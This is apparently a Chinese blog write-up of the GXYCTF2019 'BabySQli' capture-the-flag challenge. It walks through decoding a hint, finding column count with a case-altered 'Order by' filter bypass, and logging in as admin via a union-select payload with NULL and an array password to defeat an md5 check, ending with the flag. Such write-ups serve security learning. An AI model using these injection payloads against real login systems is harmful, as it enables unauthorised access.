web18([GXYCTF2019]BabySQli):

1.打开BP抓包发现存在提示

提示:
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
经过Base16-32-64-91混合多重解码后:
select * from user where username = '$name'
(注入点是name,这是在提示我表名和列名吧)

2.开始注入
在password处依次输入11'1''无果,发现在username处输入admin'回显语法错误(单引号getdaze)

多次注入后发现oroorrorder by都被过滤了
构造payload(使用大写order的O绕过):依次尝试了

name=admin' Order by 5#&pw=1
#回显:Error: Unknown column '5' in 'order clause'
name=admin' Order by 1#&pw=1
#回显:wrong pass!
name=admin' Order by 3#&pw=1
#回显:wrong pass!
name=admin' Order by 4#&pw=1
#回显:Error: Unknown column '4' in 'order clause'

最终得知一共有3列

瞎注了半小时破防,查看源代码发现要使得第二列的值admin,第三列的值等于md5加密后的pw的值

if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}
	else{
		die("wrong pass!");
	}
}
else{
	die("wrong user!");
}

构造payload(md5不能识别数组,所以将第三列设为NULL):
name=a' union select 1,'admin',NULL#&pw[]=123
获得flag

FLAG:flag{ae29c1af-c39e-40b1-97b9-907087edd267}

posted @   舌口  阅读(7)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示